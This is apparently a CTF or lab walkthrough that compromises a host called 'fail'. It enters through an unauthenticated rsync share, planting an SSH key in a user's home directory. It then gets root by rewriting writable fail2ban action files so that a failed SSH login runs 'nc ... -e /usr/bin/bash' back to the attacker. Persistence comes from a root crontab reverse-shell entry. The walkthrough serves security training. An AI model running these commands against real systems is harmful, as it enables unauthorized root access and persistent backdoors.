Summary

In this walkthrough, we’ll exploit the target via an open rsync share on a system user’s home directory, allowing us to read and write files in that directory. This will enable us to upload our SSH public key and log in as the user. We’ll then escalate by abusing misconfigured service and file permissions in the fail2ban security software.

Enumeration

Nmap

We’ll begin with an nmap scan.

kali@kali:~$ sudo nmap 192.168.120.149
Starting Nmap 7.91 ( <https://nmap.org> ) at 2021-01-19 08:11 EST
Nmap scan report for 192.168.120.149
Host is up (0.047s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
873/tcp open  rsync

We find ports 22 and 873 open. Port 873 reports as rsync.

Rsync Enumeration

Rsync is a utility for efficiently transferring and synchronizing files on a network. Let’s further enumerate port 873. To do that, we’ll first need to install the rsync package on our attack machine:

kali@kali:~$ sudo apt-get install rsync -y
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  rsync
...
kali@kali:~$

We can now use rsync to list available modules (essentially directory shares) on the target:

kali@kali:~$ rsync -rdt rsync://192.168.55.126:873
fox             fox home

This indicates that the fox module is available. The fox home string suggests fox may be a user on this system.

Netcat

Let’s try to connect to rsync with Netcat.

kali@kali:~$ nc -nv 192.168.120.149 873
@RSYNCD: 31.0

The terminal seems to hang. Let’s type @RSYNCD: 31.0 and hit Enter.

kali@kali:~$ nc -nv 192.168.120.149 873
@RSYNCD: 31.0
@RSYNCD: 31.0

Let’s determine if this module requires authentication by simply entering fox.

kali@kali:~$ nc -nv 192.168.120.149 873
(UNKNOWN) [192.168.120.149] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
fox
@RSYNCD: OK
^C
kali@kali:~$

Great! It appears we can use this module without any authentication.

Exploitation

Open Rsync Share

Since the module doesn’t require authentication, we can freely download all files inside the fox user’s /home/fox directory with rsync. Before we do that though, we need to switch to another directory so that the downloaded files do not overwrite our own.

kali@kali:~$ mkdir rsync-share
kali@kali:~$ cd rsync-share
kali@kali:~/rsync-share$ rsync -av [email protected]::fox/ .
receiving incremental file list
./
.bash_history -> /dev/null
.bash_logout
.bashrc
.profile
...
kali@kali:~/rsync-share$ ls -la
total 24
drwxr-xr-x  2 kali kali 4096 Dec  3 15:22 .
drwxr-xr-x 44 kali kali 4096 Jan 19 08:02 ..
lrwxrwxrwx  1 kali kali    9 Dec  3 15:22 .bash_history -> /dev/null
-rw-r--r--  1 kali kali  220 Apr 18  2019 .bash_logout
-rw-r--r--  1 kali kali 3526 Apr 18  2019 .bashrc
...

This worked perfectly. We could investigate these files, but there may be much more we can do with this foothold. We may also be able to upload files to the share.

SSH

Since our Nmap scan showed that the SSH service is running on the target, let’s create a .ssh folder inside the user’s home directory and then upload our SSH public key (id_rsa.pub) as .ssh/authorized_keys. We’ll begin by creating the required directory locally.

kali@kali:~/rsync-share$ mkdir fox/.ssh -p

If we don’t already have an SSH key pair, we can create one with ssh-keygen:

kali@kali:~/rsync-share$ mkdir ~/.ssh
kali@kali:~/rsync-share$ ssh-keygen -t rsa -N '' -f ~/.ssh/id_rsa
Generating public/private rsa key pair.
...

Let’s copy our public key into the user’s SSH folder and save it there as authorized_keys.

kali@kali:~/rsync-share$ cp ~/.ssh/id_rsa.pub fox/.ssh/authorized_keys

Next, we’ll upload the folder containing our public key back to the target.

kali@kali:~/rsync-share$ rsync -avp fox/ [email protected]::fox/
sending incremental file list
./
.ssh/
.ssh/authorized_keys

sent 735 bytes  received 46 bytes  520.67 bytes/sec
total size is 563  speedup is 0.72

After uploading our public key, we should be able to connect via SSH as fox.

kali@kali:~/rsync-share$ cd ..
kali@kali:~$ ssh -i /home/kali/.ssh/id_rsa [email protected]
...
$ bash
fox@fail:~$ id
uid=1000(fox) gid=1001(fox) groups=1001(fox),1000(fail2ban)

Escalation

Process Enumeration with PSpy

The output of the id command indicates that this user is in the fail2ban group. Let’s download the pspy process monitoring tool to the target to help us enumerate scheduled jobs. We’ll host it on our attack machine with a python web server.

kali@kali:~$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (<http://0.0.0.0:80/>) ...

Next, we’ll download it to the target, give it executable permissions, and run it.

fox@fail:~$ wget <http://192.168.118.5/pspy64>
--2021-01-19 09:33:17--  <http://192.168.118.5/pspy64>
Connecting to 192.168.118.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                                        100%[=================================================================================================>]   2.94M   667KB/s    in 4.5s

2021-01-19 09:33:22 (673 KB/s) - ‘pspy64’ saved [3078592/3078592]

fox@fail:~$
fox@fail:~$ chmod +x pspy64
fox@fail:~$
fox@fail:~$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
...
2021/01/19 09:35:01 CMD: UID=0    PID=1903   | /bin/sh -c /usr/bin/systemctl restart fail2ban
2021/01/19 09:35:01 CMD: UID=0    PID=1904   | /sbin/init
2021/01/19 09:35:02 CMD: UID=0    PID=1905   | /sbin/init
2021/01/19 09:35:02 CMD: UID=0    PID=1906   | /sbin/init
2021/01/19 09:35:02 CMD: UID=0    PID=1908   | /usr/bin/python3 /usr/bin/fail2ban-server -xf start
2021/01/19 09:35:02 CMD: UID=0    PID=1909   | /usr/bin/python3 /usr/bin/fail2ban-server -xf start
2021/01/19 09:36:01 CMD: UID=0    PID=1912   | /usr/sbin/CRON -f
2021/01/19 09:36:01 CMD: UID=0    PID=1913   | /usr/sbin/CRON -f
2021/01/19 09:36:01 CMD: UID=0    PID=1914   | /bin/sh -c /usr/bin/systemctl restart fail2ban

The process monitor shows that a cron job runs every minute as root (UID=0) and uses systemctl to restart fail2ban.

File2Ban Enumeration

We discover README.fox inside /etc/file2ban.

fox@fail:~$ ls -l /etc/fail2ban/
total 64
drwxrwxr-x 2 root fail2ban  4096 Dec  3 15:22 action.d
-rw-r--r-- 1 root root      2334 Jan 18  2018 fail2ban.conf
drwxr-xr-x 2 root root      4096 Sep 23  2018 fail2ban.d
drwxr-xr-x 3 root root      4096 Dec  3 15:22 filter.d
-rw-r--r-- 1 root root     22910 Nov 19 04:12 jail.conf
drwxr-xr-x 2 root root      4096 Dec  3 15:22 jail.d
-rw-r--r-- 1 root root       645 Jan 18  2018 paths-arch.conf
-rw-r--r-- 1 root root      2827 Jan 18  2018 paths-common.conf
-rw-r--r-- 1 root root       573 Jan 18  2018 paths-debian.conf
-rw-r--r-- 1 root root       738 Jan 18  2018 paths-opensuse.conf
-rw-r--r-- 1 root root        87 Dec  3 15:22 README.fox

The file contains the following line:

fox@fail:~$ cat /etc/fail2ban/README.fox
Fail2ban restarts each 1 minute, change ACTION file following Security Policies. ROOT!

This suggests that we can modify various action configuration files. Let’s verify this by checking the file permissions in /etc/fail2ban/action.d.

fox@fail:~$ ls -l /etc/fail2ban/action.d
total 280
-rw-rw-r-- 1 root fail2ban  3879 Jan 18  2018 abuseipdb.conf
-rw-rw-r-- 1 root fail2ban   587 Jan 18  2018 apf.conf
-rw-rw-r-- 1 root fail2ban   629 Jan 18  2018 badips.conf
-rw-rw-r-- 1 root fail2ban 10918 Jan 18  2018 badips.py
...

According to the permissions, we can write to these configuration files. Next, let’s view the contents of /etc/fail2ban/jail.conf.

fox@fail:~$ cat /etc/fail2ban/jail.conf
bantime  = 1m
...
banaction = iptables-multiport
...
#
# SSH servers
#

[sshd]
enabled = true

...

We find that the SSH service is enabled in fail2ban. The MISCELLANEOUS OPTIONS indicate a one min ute ban time is set. The ACTIONS section indicates that the ban action for a failed login attempt uses the iptables-multiport action configuration file.

The /etc/fail2ban/action.d/iptables-multiport.conf action file contains the following action:

fox@fail:~$ cat /etc/fail2ban/action.d/iptables-multiport.conf
# Fail2Ban configuration file
...
# Option:  actionban
# Notes.:  command executed when banning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>
...

This action will ban an IP address for a minute after a failed login attempt.

Reverse Shell

Since we are able to write to these configuration files, we can replace the ban action in iptables-multiport.conf with a command of our choosing. Let’s check for the existance of Netcat on the system.

fox@fail:~$ which nc
/usr/bin/nc
fox@fail:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Netcat is installed and is in our PATH. Next, let’s check the location of bash.

fox@fail:~$ which bash
/usr/bin/bash

We can use Netcat as a simple reverse shell by replacing the action ban command with nc 192.168.118.5 4444 -e /usr/bin/bash.

fox@fail:~$ sed -i 's:actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>:actionban = nc 192.168.118.5 4444 -e /usr/bin/bash:g' /etc/fail2ban/action.d/iptables-multiport.conf
fox@fail:~$

Let’s wait a minute for crontab to run and restart fail2ban with our new configuration. While we wait, we’ll start a Netcat listener on port 4444.

kali@kali:~$ nc -lvp 4444
listening on [any] 4444 ...

After a minute, we must purposefully fail an SSH login to trigger our ban action. We’ll log in as fox with a known banned password. We may need to do this a few times.

kali@kali:~$ ssh [email protected]
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:

If everything worked as expected, our Netcat listener should catch our reverse shell.

kali@kali:~$ nc -lvp 4444
listening on [any] 4444 ...
192.168.120.149: inverse host lookup failed: Unknown host
connect to [192.168.118.5] from (UNKNOWN) [192.168.120.149] 36774
python -c 'import pty; pty.spawn("/bin/bash")'
root@fail:/# id
id
uid=0(root) gid=0(root) groups=0(root)

Persistence

Unfortunately, our root shell dies after exactly one minute. This is not surprising and is due to the one-minute SSH ban time from our enumeration. Since the process that triggers our shell only runs for one minute, our shell will terminate when the process stops.

We could achieve persistence in a variety of ways. In this case, we’ll create a cron job as root to execute our Netcat reverse shell every minute. From our stable SSH session, let’s change the ban action command to create the cron job and append it to the /etc/crontab file.

fox@fail:~$ sed -i 's:actionban = nc 192.168.118.5 4444 -e /usr/bin/bash:actionban = echo "*  *  *  *  * root nc 192.168.118.5 4444 -e /usr/bin/bash" >> /etc/crontab:g' /etc/fail2ban/action.d/iptables-multiport.conf
fox@fail:~$

We’ll restart our listener on port 4444 and wait another minute for fail2ban to be restarted with the new configuration.

kali@kali:~$ nc -lvp 4444
listening on [any] 4444 ...

To trigger our shell, we will once again purposely fail our SSH authentication.

kali@kali:~$ ssh [email protected]
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:

After one minute, the cron job executes our shell, and we obtain a stable connection that will not drop.

kali@kali:~$ nc -lvp 4444
listening on [any] 4444 ...
192.168.120.149: inverse host lookup failed: Unknown host
connect to [192.168.118.5] from (UNKNOWN) [192.168.120.149] 36862
python -c 'import pty; pty.spawn("/bin/bash")'
root@fail:~# id
id
uid=0(root) gid=0(root) groups=0(root)